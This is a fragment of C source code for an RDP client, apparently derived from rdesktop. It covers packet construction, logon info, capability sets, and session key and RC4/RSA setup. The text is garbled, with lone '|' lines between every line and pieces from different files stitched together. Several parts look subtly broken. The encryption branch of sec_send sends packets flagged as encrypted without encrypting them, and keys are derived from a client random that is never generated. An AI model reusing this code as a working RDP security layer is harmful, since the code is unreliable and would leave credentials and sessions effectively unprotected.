|
|
next_order = s->p + length + 7;
|
|
s->p = next_order;
|
|
}
|
|
|
|
|
|
/* Process an update PDU */
|
|
static void
|
|
process_update_pdu(STREAM s)
|
|
{
|
|
uint16 update_type;
|
|
|
|
in_uint16_le(s, update_type);
|
|
|
|
switch (update_type)
|
|
{
|
|
case RDP_UPDATE_ORDERS:
|
|
process_orders(s);
|
|
break;
|
|
|
|
case RDP_UPDATE_SYNCHRONIZE:
|
|
break;
|
|
}
|
|
}
|
|
|
|
|
|
/* Initialise an RDP packet */
|
|
static STREAM
|
|
rdp_init(int maxlen)
|
|
{
|
|
STREAM s;
|
|
|
|
s = sec_init(encryption ? SEC_ENCRYPT : 0, maxlen + 6);
|
|
s_push_layer(s, rdp_hdr, 6);
|
|
|
|
return s;
|
|
}
|
|
|
|
/* Send an RDP packet */
|
|
static void
|
|
rdp_send(STREAM s, uint8 pdu_type)
|
|
{
|
|
uint16 length;
|
|
|
|
s_pop_layer(s, rdp_hdr);
|
|
length = s->end - s->p;
|
|
|
|
out_uint16_le(s, length);
|
|
out_uint16_le(s, (pdu_type | 0x10)); /* Version 1 */
|
|
out_uint16_le(s, (mcs_userid + 1001));
|
|
|
|
sec_send(s, encryption ? SEC_ENCRYPT : 0);
|
|
}
|
|
|
|
/* Receive an RDP packet */
|
|
static STREAM
|
|
rdp_recv(uint8 * type)
|
|
{
|
|
static STREAM rdp_s;
|
|
uint16 length, pdu_type;
|
|
|
|
if ((rdp_s == NULL) || (next_packet >= rdp_s->end))
|
|
{
|
|
rdp_s = sec_recv();
|
|
if (rdp_s == NULL)
|
|
return NULL;
|
|
|
|
next_packet = rdp_s->p;
|
|
}
|
|
else
|
|
{
|
|
rdp_s->p = next_packet;
|
|
}
|
|
|
|
in_uint16_le(rdp_s, length);
|
|
/* 32k packets are really 8, keepalive fix */
|
|
if (length == 0x8000)
|
|
{
|
|
next_packet += 8;
|
|
*type = 0;
|
|
return rdp_s;
|
|
}
|
|
in_uint16_le(rdp_s, pdu_type);
|
|
in_uint8s(rdp_s, 2); /* userid */
|
|
*type = pdu_type & 0xf;
|
|
|
|
|
|
next_packet += length;
|
|
return rdp_s;
|
|
}
|
|
|
|
/* Initialise an RDP data packet */
|
|
static STREAM
|
|
rdp_init_data(int maxlen)
|
|
{
|
|
STREAM s;
|
|
|
|
s = sec_init(encryption ? SEC_ENCRYPT : 0, maxlen + 18);
|
|
s_push_layer(s, rdp_hdr, 18);
|
|
|
|
return s;
|
|
}
|
|
|
|
/* Send an RDP data packet */
|
|
static void
|
|
rdp_send_data(STREAM s, uint8 data_pdu_type)
|
|
{
|
|
uint16 length;
|
|
|
|
s_pop_layer(s, rdp_hdr);
|
|
length = s->end - s->p;
|
|
|
|
out_uint16_le(s, length);
|
|
out_uint16_le(s, (RDP_PDU_DATA | 0x10));
|
|
out_uint16_le(s, (mcs_userid + 1001));
|
|
|
|
out_uint32_le(s, rdp_shareid);
|
|
out_uint8(s, 0); /* pad */
|
|
out_uint8(s, 1); /* streamid */
|
|
out_uint16_le(s, (length - 14));
|
|
out_uint8(s, data_pdu_type);
|
|
out_uint8(s, 0); /* compress_type */
|
|
out_uint16(s, 0); /* compress_len */
|
|
|
|
sec_send(s, encryption ? SEC_ENCRYPT : 0);
|
|
}
|
|
|
|
/* Output a string in Unicode */
|
|
void
|
|
rdp_out_unistr(STREAM s, char *string, int len)
|
|
{
|
|
int i = 0, j = 0;
|
|
|
|
len += 2;
|
|
|
|
while (i < len)
|
|
{
|
|
s->p[i++] = string[j++];
|
|
s->p[i++] = 0;
|
|
}
|
|
|
|
s->p += len;
|
|
}
|
|
|
|
/* Parse a logon info packet */
|
|
static void
|
|
rdp_send_logon_info(uint32 flags, char *domain, char *user,
|
|
char *password, char *program, char *directory)
|
|
{
|
|
int len_domain = 2 * strlen(domain);
|
|
int len_user = 2 * strlen(user);
|
|
int len_password = 2 * strlen(password);
|
|
int len_program = 2 * strlen(program);
|
|
int len_directory = 2 * strlen(directory);
|
|
uint32 sec_flags = encryption ? (SEC_LOGON_INFO | SEC_ENCRYPT) : SEC_LOGON_INFO;
|
|
STREAM s;
|
|
|
|
s = sec_init(sec_flags, 18 + len_domain + len_user + len_password
|
|
+ len_program + len_directory + 10);
|
|
|
|
out_uint32(s, 0);
|
|
out_uint32_le(s, flags);
|
|
out_uint16_le(s, len_domain);
|
|
out_uint16_le(s, len_user);
|
|
out_uint16_le(s, len_password);
|
|
out_uint16_le(s, len_program);
|
|
out_uint16_le(s, len_directory);
|
|
rdp_out_unistr(s, domain, len_domain);
|
|
rdp_out_unistr(s, user, len_user);
|
|
rdp_out_unistr(s, password, len_password);
|
|
rdp_out_unistr(s, program, len_program);
|
|
rdp_out_unistr(s, directory, len_directory);
|
|
|
|
s_mark_end(s);
|
|
sec_send(s, sec_flags);
|
|
}
|
|
|
|
/* Send a control PDU */
|
|
static void
|
|
rdp_send_control(uint16 action)
|
|
{
|
|
STREAM s;
|
|
|
|
s = rdp_init_data(8);
|
|
|
|
out_uint16_le(s, action);
|
|
out_uint16(s, 0); /* userid */
|
|
out_uint32(s, 0); /* control id */
|
|
|
|
s_mark_end(s);
|
|
rdp_send_data(s, RDP_DATA_PDU_CONTROL);
|
|
}
|
|
|
|
/* Send a synchronisation PDU */
|
|
static void
|
|
rdp_send_synchronise(void)
|
|
{
|
|
STREAM s;
|
|
|
|
s = rdp_init_data(4);
|
|
|
|
out_uint16_le(s, 1); /* type */
|
|
out_uint16_le(s, 1002);
|
|
|
|
s_mark_end(s);
|
|
rdp_send_data(s, RDP_DATA_PDU_SYNCHRONISE);
|
|
}
|
|
|
|
/* Send a single input event */
|
|
void
|
|
rdp_send_input(uint32 time, uint16 message_type, uint16 device_flags, uint16 param1, uint16 param2)
|
|
{
|
|
STREAM s;
|
|
|
|
s = rdp_init_data(16);
|
|
|
|
out_uint16_le(s, 1); /* number of events */
|
|
out_uint16(s, 0); /* pad */
|
|
|
|
out_uint32_le(s, time);
|
|
out_uint16_le(s, message_type);
|
|
out_uint16_le(s, device_flags);
|
|
out_uint16_le(s, param1);
|
|
out_uint16_le(s, param2);
|
|
|
|
s_mark_end(s);
|
|
rdp_send_data(s, RDP_DATA_PDU_INPUT);
|
|
}
|
|
|
|
/* Send an (empty) font information PDU */
|
|
static void
|
|
rdp_send_fonts(uint16 seq)
|
|
{
|
|
STREAM s;
|
|
|
|
s = rdp_init_data(8);
|
|
|
|
out_uint16(s, 0); /* number of fonts */
|
|
out_uint16_le(s, 0x3e); /* unknown */
|
|
out_uint16_le(s, seq); /* unknown */
|
|
out_uint16_le(s, 0x32); /* entry size */
|
|
|
|
s_mark_end(s);
|
|
rdp_send_data(s, RDP_DATA_PDU_FONT2);
|
|
}
|
|
|
|
/* Output general capability set */
|
|
static void
|
|
rdp_out_general_caps(STREAM s)
|
|
{
|
|
out_uint16_le(s, RDP_CAPSET_GENERAL);
|
|
out_uint16_le(s, RDP_CAPLEN_GENERAL);
|
|
|
|
out_uint16_le(s, 1); /* OS major type */
|
|
out_uint16_le(s, 3); /* OS minor type */
|
|
out_uint16_le(s, 0x200); /* Protocol version */
|
|
out_uint16(s, 0); /* Pad */
|
|
out_uint16(s, 0); /* Compression types */
|
|
out_uint16(s, 0); /* Pad */
|
|
out_uint16(s, 0); /* Update capability */
|
|
out_uint16(s, 0); /* Remote unshare capability */
|
|
out_uint16(s, 0); /* Compression level */
|
|
out_uint16(s, 0); /* Pad */
|
|
}
|
|
|
|
/* Output bitmap capability set */
|
|
static void
|
|
rdp_out_bitmap_caps(STREAM s)
|
|
{
|
|
out_uint16_le(s, RDP_CAPSET_BITMAP);
|
|
out_uint16_le(s, RDP_CAPLEN_BITMAP);
|
|
|
|
out_uint16_le(s, 8); /* Preferred BPP */
|
|
out_uint16_le(s, 1); /* Receive 1 BPP */
|
|
out_uint16_le(s, 1); /* Receive 4 BPP */
|
|
out_uint16_le(s, 1); /* Receive 8 BPP */
|
|
out_uint16_le(s, 800); /* Desktop width */
|
|
out_uint16_le(s, 600); /* Desktop height */
|
|
out_uint16(s, 0); /* Pad */
|
|
out_uint16(s, 0); /* Allow resize */
|
|
out_uint16_le(s, bitmap_compression ? 1 : 0); /* Support compression */
|
|
out_uint16(s, 0); /* Unknown */
|
|
out_uint16_le(s, 1); /* Unknown */
|
|
out_uint16(s, 0); /* Pad */
|
|
}
|
|
|
|
/* Output order capability set */
|
|
static void
|
|
rdp_out_order_caps(STREAM s)
|
|
{
|
|
uint8 order_caps[32];
|
|
|
|
|
|
memset(order_caps, 0, 32);
|
|
order_caps[0] = 1; /* dest blt */
|
|
order_caps[1] = 1; /* pat blt */
|
|
order_caps[2] = 1; /* screen blt */
|
|
order_caps[3] = 1; /* required for memblt? */
|
|
order_caps[8] = 1; /* line */
|
|
order_caps[9] = 1; /* line */
|
|
order_caps[10] = 1; /* rect */
|
|
order_caps[11] = (desktop_save == False ? 0 : 1); /* desksave */
|
|
order_caps[13] = 1; /* memblt */
|
|
order_caps[14] = 1; /* triblt */
|
|
order_caps[22] = 1; /* polyline */
|
|
order_caps[27] = 1; /* text2 */
|
|
out_uint16_le(s, RDP_CAPSET_ORDER);
|
|
out_uint16_le(s, RDP_CAPLEN_ORDER);
|
|
|
|
out_uint8s(s, 20); /* Terminal desc, pad */
|
|
out_uint16_le(s, 1); /* Cache X granularity */
|
|
out_uint16_le(s, 20); /* Cache Y granularity */
|
|
out_uint16(s, 0); /* Pad */
|
|
out_uint16_le(s, 1); /* Max order level */
|
|
out_uint16_le(s, 0x147); /* Number of fonts */
|
|
out_uint16_le(s, 0x2a); /* Capability flags */
|
|
out_uint8p(s, order_caps, 32); /* Orders supported */
|
|
out_uint16_le(s, 0x6a1); /* Text capability flags */
|
|
out_uint8s(s, 6); /* Pad */
|
|
out_uint32_le(s, desktop_save == False ? 0 : 0x38400); /* Desktop cache size */
|
|
out_uint32(s, 0); /* Unknown */
|
|
out_uint32_le(s, 0x4e4); /* Unknown */
|
|
}
|
|
|
|
/* Output bitmap cache capability set */
|
|
static void
|
|
rdp_out_bmpcache_caps(STREAM s)
|
|
{
|
|
out_uint16_le(s, RDP_CAPSET_BMPCACHE);
|
|
out_uint16_le(s, RDP_CAPLEN_BMPCACHE);
|
|
|
|
out_uint8s(s, 24); /* unused */
|
|
out_uint16_le(s, 0x258); /* entries */
|
|
out_uint16_le(s, 0x100); /* max cell size */
|
|
out_uint16_le(s, 0x12c); /* entries */
|
|
out_uint16_le(s, 0x400); /* max cell size */
|
|
out_uint16_le(s, 0x106); /* entries */
|
|
out_uint16_le(s, 0x1000); /* max cell size */
|
|
}
|
|
|
|
/* Output control capability set */
|
|
static void
|
|
rdp_out_control_caps(STREAM s)
|
|
{
|
|
out_uint16_le(s, RDP_CAPSET_CONTROL);
|
|
out_uint16_le(s, RDP_CAPLEN_CONTROL);
|
|
|
|
out_uint16(s, 0); /* Control capabilities */
|
|
out_uint16(s, 0); /* Remote detach */
|
|
out_uint16_le(s, 2); /* Control interest */
|
|
out_uint16_le(s, 2); /* Detach interest */
|
|
}
|
|
|
|
/* Output activation capability set */
|
|
static void
|
|
rdp_out_activate_caps(STREAM s)
|
|
{
|
|
out_uint16_le(s, RDP_CAPSET_ACTIVATE);
|
|
out_uint16_le(s, RDP_CAPLEN_ACTIVATE);
|
|
|
|
out_uint16(s, 0); /* Help key */
|
|
out_uint16(s, 0); /* Help index key */
|
|
out_uint16(s, 0); /* Extended help key */
|
|
out_uint16(s, 0); /* Window activate */
|
|
}
|
|
|
|
/* Output pointer capability set */
|
|
static void
|
|
rdp_out_pointer_caps(STREAM s)
|
|
{
|
|
out_uint16_le(s, RDP_CAPSET_POINTER);
|
|
out_uint16_le(s, RDP_CAPLEN_POINTER);
|
|
|
|
out_uint16(s, 0); /* Colour pointer */
|
|
out_uint16_le(s, 20); /* Cache size */
|
|
}
|
|
|
|
/* Output share capability set */
|
|
static void
|
|
rdp_out_share_caps(STREAM s)
|
|
{
|
|
out_uint16_le(s, RDP_CAPSET_SHARE);
|
|
out_uint16_le(s, RDP_CAPLEN_SHARE);
|
|
|
|
out_uint16(s, 0); /* userid */
|
|
out_uint16(s, 0); /* pad */
|
|
}
|
|
|
|
/* Output colour cache capability set */
|
|
static void
|
|
rdp_out_colcache_caps(STREAM s)
|
|
{
|
|
out_uint16_le(s, RDP_CAPSET_COLCACHE);
|
|
out_uint16_le(s, RDP_CAPLEN_COLCACHE);
|
|
|
|
out_uint16_le(s, 6); /* cache size */
|
|
out_uint16(s, 0); /* pad */
|
|
}
|
|
|
|
static uint8 canned_caps[] = {
|
|
0x01, 0x00, 0x00, 0x00, 0x09, 0x04, 0x00, 0x00, 0x04,
|
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x00,
|
|
0x00, 0x00, 0x00, 0x00, 0x00,
|
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
|
0x00, 0x00, 0x00, 0x00, 0x00,
|
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
|
0x00, 0x00, 0x00, 0x00, 0x00,
|
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
|
0x00, 0x00, 0x00, 0x00, 0x00,
|
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
|
0x0C, 0x00, 0x08, 0x00, 0x01,
|
|
0x00, 0x00, 0x00, 0x0E, 0x00, 0x08, 0x00, 0x01, 0x00, 0x00, 0x00,
|
|
0x10, 0x00, 0x34, 0x00, 0xFE,
|
|
0x00, 0x04, 0x00, 0xFE, 0x00, 0x04, 0x00, 0xFE, 0x00, 0x08, 0x00,
|
|
0xFE, 0x00, 0x08, 0x00, 0xFE,
|
|
0x00, 0x10, 0x00, 0xFE, 0x00, 0x20, 0x00, 0xFE, 0x00, 0x40, 0x00,
|
|
0xFE, 0x00, 0x80, 0x00, 0xFE,
|
|
0x00, 0x00, 0x01, 0x40, 0x00, 0x00, 0x08, 0x00, 0x01, 0x00, 0x01,
|
|
0x02, 0x00, 0x00, 0x00
|
|
};
|
|
|
|
/* Output unknown capability set */
|
|
static void
|
|
rdp_out_unknown_caps(STREAM s)
|
|
{
|
|
out_uint16_le(s, RDP_CAPSET_UNKNOWN);
|
|
out_uint16_le(s, 0x58);
|
|
|
|
out_uint8p(s, canned_caps, RDP_CAPLEN_UNKNOWN - 4);
|
|
}
|
|
|
|
/* Send a confirm active PDU */
|
|
static void
|
|
rdp_send_confirm_active(void)
|
|
{
|
|
STREAM s;
|
|
uint16 caplen =
|
|
RDP_CAPLEN_GENERAL + RDP_CAPLEN_BITMAP + RDP_CAPLEN_ORDER +
|
|
RDP_CAPLEN_BMPCACHE + RDP_CAPLEN_COLCACHE +
|
|
RDP_CAPLEN_ACTIVATE + RDP_CAPLEN_CONTROL +
|
|
RDP_CAPLEN_POINTER + RDP_CAPLEN_SHARE + RDP_CAPLEN_UNKNOWN + 4 /* w2k fix, why? */ ;
|
|
|
|
s = rdp_init(14 + caplen + sizeof(RDP_SOURCE));
|
|
|
|
out_uint32_le(s, rdp_shareid);
|
|
out_uint16_le(s, 0x3ea); /* userid */
|
|
out_uint16_le(s, sizeof(RDP_SOURCE));
|
|
out_uint16_le(s, caplen);
|
|
|
|
out_uint8p(s, RDP_SOURCE, sizeof(RDP_SOURCE));
|
|
out_uint16_le(s, 0xd); /* num_caps */
|
|
out_uint8s(s, 2); /* pad */
|
|
|
|
rdp_out_general_caps(s);
|
|
rdp_out_bitmap_caps(s);
|
|
rdp_out_order_caps(s);
|
|
rdp_out_bmpcache_caps(s);
|
|
rdp_out_colcache_caps(s);
|
|
rdp_out_activate_caps(s);
|
|
rdp_out_control_caps(s);
|
|
rdp_out_pointer_caps(s);
|
|
rdp_out_share_caps(s);
|
|
rdp_out_unknown_caps(s);
|
|
|
|
s_mark_end(s);
|
|
rdp_send(s, RDP_PDU_CONFIRM_ACTIVE);
|
|
}
|
|
|
|
|
|
|
|
/* Process incoming packets */
|
|
void
|
|
rdp_main_loop(void)
|
|
{
|
|
uint8 type;
|
|
STREAM s;
|
|
|
|
while ((s = rdp_recv(&type)) != NULL)
|
|
{
|
|
switch (type)
|
|
{
|
|
case RDP_PDU_DEMAND_ACTIVE:
|
|
process_demand_active(s);
|
|
break;
|
|
|
|
case RDP_PDU_DEACTIVATE:
|
|
break;
|
|
|
|
case RDP_PDU_DATA:
|
|
process_data_pdu(s);
|
|
break;
|
|
case 0:
|
|
break;
|
|
|
|
}
|
|
}
|
|
}
|
|
|
|
/* Establish a connection up to the RDP layer */
|
|
BOOL
|
|
rdp_connect(char *server, uint32 flags, char *domain, char *password,
|
|
char *command, char *directory)
|
|
{
|
|
if (!sec_connect(server))
|
|
return False;
|
|
|
|
rdp_send_logon_info(flags, domain, username, password, command, directory);
|
|
return True;
|
|
}
|
|
|
|
/* Disconnect from the RDP layer */
|
|
void
|
|
rdp_disconnect(void)
|
|
{
|
|
sec_disconnect();
|
|
}
|
|
|
|
|
|
|
|
/* Reset order state */
|
|
void
|
|
reset_order_state(void)
|
|
{
|
|
memset(&order_state, 0, sizeof(order_state));
|
|
order_state.order_type = RDP_ORDER_PATBLT;
|
|
}
|
|
|
|
|
|
static void
|
|
reverse(uint8 * p, int len)
|
|
{
|
|
int i, j;
|
|
uint8 temp;
|
|
|
|
for (i = 0, j = len - 1; i < j; i++, j--)
|
|
{
|
|
temp = p[i];
|
|
p[i] = p[j];
|
|
p[j] = temp;
|
|
}
|
|
}
|
|
|
|
|
|
/*
|
|
* General purpose 48-byte transformation, using two 32-byte salts (generally,
|
|
* a client and server salt) and a global salt value used for padding.
|
|
* Both SHA1 and MD5 algorithms are used.
|
|
*/
|
|
void
|
|
sec_hash_48(uint8 * out, uint8 * in, uint8 * salt1, uint8 * salt2, uint8 salt)
|
|
{
|
|
uint8 shasig[20];
|
|
uint8 pad[4];
|
|
SHA_CTX sha;
|
|
MD5_CTX md5;
|
|
int i;
|
|
|
|
for (i = 0; i < 3; i++)
|
|
{
|
|
memset(pad, salt + i, i + 1);
|
|
|
|
SHA1_Init(&sha);
|
|
SHA1_Update(&sha, pad, i + 1);
|
|
SHA1_Update(&sha, in, 48);
|
|
SHA1_Update(&sha, salt1, 32);
|
|
SHA1_Update(&sha, salt2, 32);
|
|
SHA1_Final(shasig, &sha);
|
|
|
|
MD5_Init(&md5);
|
|
MD5_Update(&md5, in, 48);
|
|
MD5_Update(&md5, shasig, 20);
|
|
MD5_Final(&out[i * 16], &md5);
|
|
}
|
|
}
|
|
|
|
/*
|
|
* Weaker 16-byte transformation, also using two 32-byte salts, but
|
|
* only using a single round of MD5.
|
|
*/
|
|
void
|
|
sec_hash_16(uint8 * out, uint8 * in, uint8 * salt1, uint8 * salt2)
|
|
{
|
|
MD5_CTX md5;
|
|
|
|
MD5_Init(&md5);
|
|
MD5_Update(&md5, in, 16);
|
|
MD5_Update(&md5, salt1, 32);
|
|
MD5_Update(&md5, salt2, 32);
|
|
MD5_Final(out, &md5);
|
|
}
|
|
|
|
/* Reduce key entropy from 64 to 40 bits */
|
|
static void
|
|
sec_make_40bit(uint8 * key)
|
|
{
|
|
key[0] = 0xd1;
|
|
key[1] = 0x26;
|
|
key[2] = 0x9e;
|
|
}
|
|
|
|
/* Generate a session key and RC4 keys, given client and server randoms */
|
|
static void
|
|
sec_generate_keys(uint8 * client_key, uint8 * server_key, int rc4_key_size)
|
|
{
|
|
uint8 session_key[48];
|
|
uint8 temp_hash[48];
|
|
uint8 input[48];
|
|
|
|
/* Construct input data to hash */
|
|
memcpy(input, client_key, 24);
|
|
memcpy(input + 24, server_key, 24);
|
|
|
|
/* Generate session key - two rounds of sec_hash_48 */
|
|
sec_hash_48(temp_hash, input, client_key, server_key, 65);
|
|
sec_hash_48(session_key, temp_hash, client_key, server_key, 88);
|
|
|
|
/* Store first 16 bytes of session key, for generating signatures */
|
|
memcpy(sec_sign_key, session_key, 16);
|
|
|
|
/* Generate RC4 keys */
|
|
sec_hash_16(sec_decrypt_key, &session_key[16], client_key, server_key);
|
|
sec_hash_16(sec_encrypt_key, &session_key[32], client_key, server_key);
|
|
|
|
if (rc4_key_size == 1)
|
|
{
|
|
|
|
sec_make_40bit(sec_sign_key);
|
|
sec_make_40bit(sec_decrypt_key);
|
|
sec_make_40bit(sec_encrypt_key);
|
|
rc4_key_len = 8;
|
|
}
|
|
else
|
|
{
|
|
|
|
rc4_key_len = 16;
|
|
}
|
|
|
|
/* Save initial RC4 keys as update keys */
|
|
memcpy(sec_decrypt_update_key, sec_decrypt_key, 16);
|
|
memcpy(sec_encrypt_update_key, sec_encrypt_key, 16);
|
|
|
|
/* Initialise RC4 state arrays */
|
|
RC4_set_key(&rc4_decrypt_key, rc4_key_len, sec_decrypt_key);
|
|
RC4_set_key(&rc4_encrypt_key, rc4_key_len, sec_encrypt_key);
|
|
}
|
|
|
|
static uint8 pad_54[40] = {
|
|
54, 54, 54, 54, 54, 54, 54, 54, 54, 54, 54, 54, 54, 54, 54, 54, 54,
|
|
54, 54, 54,
|
|
54, 54, 54, 54, 54, 54, 54, 54, 54, 54, 54, 54, 54, 54, 54, 54, 54,
|
|
54, 54, 54
|
|
};
|
|
|
|
static uint8 pad_92[48] = {
|
|
92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92,
|
|
92, 92, 92, 92, 92, 92, 92,
|
|
92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92, 92,
|
|
92, 92, 92, 92, 92, 92, 92
|
|
};
|
|
|
|
|
|
/* Transmit secure transport packet */
|
|
void
|
|
sec_send(STREAM s, uint32 flags)
|
|
{
|
|
int datalen;
|
|
|
|
s_pop_layer(s, sec_hdr);
|
|
if (!licence_issued || (flags & SEC_ENCRYPT))
|
|
out_uint32_le(s, flags);
|
|
|
|
if (flags & SEC_ENCRYPT)
|
|
{
|
|
flags &= ~SEC_ENCRYPT;
|
|
datalen = s->end - s->p - 8;
|
|
|
|
#if WITH_DEBUG
|
|
DEBUG(("Sending encrypted packet:\n"));
|
|
hexdump(s->p + 8, datalen);
|
|
#endif
|
|
|
|
|
|
}
|
|
|
|
mcs_send(s);
|
|
}
|
|
|
|
|
|
/* Perform an RSA public key encryption operation */
|
|
static void
|
|
sec_rsa_encrypt(uint8 * out, uint8 * in, int len, uint8 * modulus, uint8 * exponent)
|
|
{
|
|
BN_CTX *ctx;
|
|
BIGNUM mod, exp, x, y;
|
|
uint8 inr[SEC_MODULUS_SIZE];
|
|
int outlen;
|
|
|
|
reverse(modulus, SEC_MODULUS_SIZE);
|
|
reverse(exponent, SEC_EXPONENT_SIZE);
|
|
memcpy(inr, in, len);
|
|
reverse(inr, len);
|
|
|
|
ctx = BN_CTX_new();
|
|
BN_init(&mod);
|
|
BN_init(&exp);
|
|
BN_init(&x);
|
|
BN_init(&y);
|
|
|
|
BN_bin2bn(modulus, SEC_MODULUS_SIZE, &mod);
|
|
BN_bin2bn(exponent, SEC_EXPONENT_SIZE, &exp);
|
|
BN_bin2bn(inr, len, &x);
|
|
BN_mod_exp(&y, &x, &exp, &mod, ctx);
|
|
outlen = BN_bn2bin(&y, out);
|
|
reverse(out, outlen);
|
|
if (outlen < SEC_MODULUS_SIZE)
|
|
memset(out + outlen, 0, SEC_MODULUS_SIZE - outlen);
|
|
|
|
BN_free(&y);
|
|
BN_clear_free(&x);
|
|
BN_free(&exp);
|
|
BN_free(&mod);
|
|
BN_CTX_free(ctx);
|
|
}
|
|
|
|
/* Initialise secure transport packet */
|
|
STREAM
|
|
sec_init(uint32 flags, int maxlen)
|
|
{
|
|
int hdrlen;
|
|
STREAM s;
|
|
|
|
if (!licence_issued)
|
|
hdrlen = (flags & SEC_ENCRYPT) ? 12 : 4;
|
|
else
|
|
hdrlen = (flags & SEC_ENCRYPT) ? 12 : 0;
|
|
s = mcs_init(maxlen + hdrlen);
|
|
s_push_layer(s, sec_hdr, hdrlen);
|
|
|
|
return s;
|
|
}
|
|
|
|
|
|
|
|
|
|
/* Output connect initial data blob */
|
|
static void
|
|
sec_out_mcs_data(STREAM s)
|
|
{
|
|
int hostlen = 2 * strlen(hostname);
|
|
|
|
if (hostlen > 30)
|
|
hostlen = 30;
|
|
|
|
out_uint16_be(s, 5); /* unknown */
|
|
out_uint16_be(s, 0x14);
|
|
out_uint8(s, 0x7c);
|
|
out_uint16_be(s, 1);
|
|
|
|
out_uint16_be(s, (158 | 0x8000)); /* remaining length */
|
|
|
|
out_uint16_be(s, 8); /* length? */
|
|
out_uint16_be(s, 16);
|
|
out_uint8(s, 0);
|
|
out_uint16_le(s, 0xc001);
|
|
out_uint8(s, 0);
|
|
|
|
out_uint32_le(s, 0x61637544); /* "Duca" ?! */
|
|
out_uint16_be(s, (144 | 0x8000)); /* remaining length */
|
|
|
|
/* Client information */
|
|
out_uint16_le(s, SEC_TAG_CLI_INFO);
|
|
out_uint16_le(s, 136); /* length */
|
|
out_uint16_le(s, 1);
|
|
out_uint16_le(s, 8);
|
|
out_uint16_le(s, width);
|
|
out_uint16_le(s, height);
|
|
out_uint16_le(s, 0xca01);
|
|
out_uint16_le(s, 0xaa03);
|
|
out_uint32_le(s, keylayout);
|
|
out_uint32_le(s, 419); /* client build? we are 419 compatible :-) */
|
|
|
|
/* Unicode name of client, padded to 32 bytes */
|
|
rdp_out_unistr(s, hostname, hostlen);
|
|
out_uint8s(s, 30 - hostlen);
|
|
|
|
out_uint32_le(s, 4);
|
|
out_uint32(s, 0);
|
|
out_uint32_le(s, 12);
|
|
out_uint8s(s, 64); /* reserved? 4 + 12 doublewords */
|
|
|
|
out_uint16_le(s, 0xca01);
|
|
out_uint16(s, 0);
|
|
|
|
/* Client encryption settings */
|
|
out_uint16_le(s, SEC_TAG_CLI_CRYPT);
|
|
out_uint16_le(s, 8); /* length */
|
|
out_uint32_le(s, encryption ? 0x3 : 0); /* encryption supported, 128-bit supported */
|
|
s_mark_end(s);
|
|
}
|
|
|
|
/* Parse a public key structure */
|
|
static BOOL
|
|
sec_parse_public_key(STREAM s, uint8 ** modulus, uint8 ** exponent)
|
|
{
|
|
uint32 magic, modulus_len;
|
|
|
|
in_uint32_le(s, magic);
|
|
if (magic != SEC_RSA_MAGIC)
|
|
{
|
|
error("RSA magic 0x%x\n", magic);
|
|
return False;
|
|
}
|
|
|
|
in_uint32_le(s, modulus_len);
|
|
if (modulus_len != SEC_MODULUS_SIZE + SEC_PADDING_SIZE)
|
|
{
|
|
error("modulus len 0x%x\n", modulus_len);
|
|
return False;
|
|
}
|
|
|
|
in_uint8s(s, 8); /* modulus_bits, unknown */
|
|
in_uint8p(s, *exponent, SEC_EXPONENT_SIZE);
|
|
in_uint8p(s, *modulus, SEC_MODULUS_SIZE);
|
|
in_uint8s(s, SEC_PADDING_SIZE);
|
|
|
|
return s_check(s);
|
|
}
|
|
|
|
/* Parse a crypto information structure */
|
|
static BOOL
|
|
sec_parse_crypt_info(STREAM s, uint32 * rc4_key_size,
|
|
uint8 ** server_random, uint8 ** modulus, uint8 ** exponent)
|
|
{
|
|
uint32 crypt_level, random_len, rsa_info_len;
|
|
uint16 tag, length;
|
|
uint8 *next_tag, *end;
|
|
|
|
in_uint32_le(s, *rc4_key_size); /* 1 = 40-bit, 2 = 128-bit */
|
|
in_uint32_le(s, crypt_level); /* 1 = low, 2 = medium, 3 = high */
|
|
if (crypt_level == 0) /* no encryptation */
|
|
return False;
|
|
in_uint32_le(s, random_len);
|
|
in_uint32_le(s, rsa_info_len);
|
|
|
|
if (random_len != SEC_RANDOM_SIZE)
|
|
{
|
|
error("random len %d\n", random_len);
|
|
return False;
|
|
}
|
|
|
|
in_uint8p(s, *server_random, random_len);
|
|
|
|
/* RSA info */
|
|
end = s->p + rsa_info_len;
|
|
if (end > s->end)
|
|
return False;
|
|
|
|
in_uint8s(s, 12); /* unknown */
|
|
|
|
while (s->p < end)
|
|
{
|
|
in_uint16_le(s, tag);
|
|
in_uint16_le(s, length);
|
|
|
|
next_tag = s->p + length;
|
|
|
|
switch (tag)
|
|
{
|
|
case SEC_TAG_PUBKEY:
|
|
if (!sec_parse_public_key(s, modulus, exponent))
|
|
return False;
|
|
|
|
break;
|
|
|
|
case SEC_TAG_KEYSIG:
|
|
/* Is this a Microsoft key that we just got? */
|
|
/* Care factor: zero! */
|
|
break;
|
|
}
|
|
|
|
s->p = next_tag;
|
|
}
|
|
|
|
return s_check_end(s);
|
|
}
|
|
|
|
/* Process crypto information blob */
|
|
static void
|
|
sec_process_crypt_info(STREAM s)
|
|
{
|
|
uint8 *server_random, *modulus, *exponent;
|
|
uint8 client_random[SEC_RANDOM_SIZE];
|
|
uint32 rc4_key_size;
|
|
|
|
if (!sec_parse_crypt_info(s, &rc4_key_size, &server_random, &modulus, &exponent))
|
|
return;
|
|
|
|
/* Generate a client random, and hence determine encryption keys */
|
|
sec_rsa_encrypt(sec_crypted_random, client_random, SEC_RANDOM_SIZE, modulus, exponent);
|
|
sec_generate_keys(client_random, server_random, rc4_key_size);
|
|
}
|
|
|
|
/* Process connect response data blob */
|
|
static void
|
|
sec_process_mcs_data(STREAM s)
|
|
{
|
|
uint16 tag, length;
|
|
uint8 *next_tag;
|
|
uint8 len;
|
|
|
|
in_uint8s(s, 21); /* header */
|
|
in_uint8(s, len);
|
|
if (len & 0x80)
|
|
in_uint8(s, len);
|
|
|
|
while (s->p < s->end)
|
|
{
|
|
in_uint16_le(s, tag);
|
|
in_uint16_le(s, length);
|
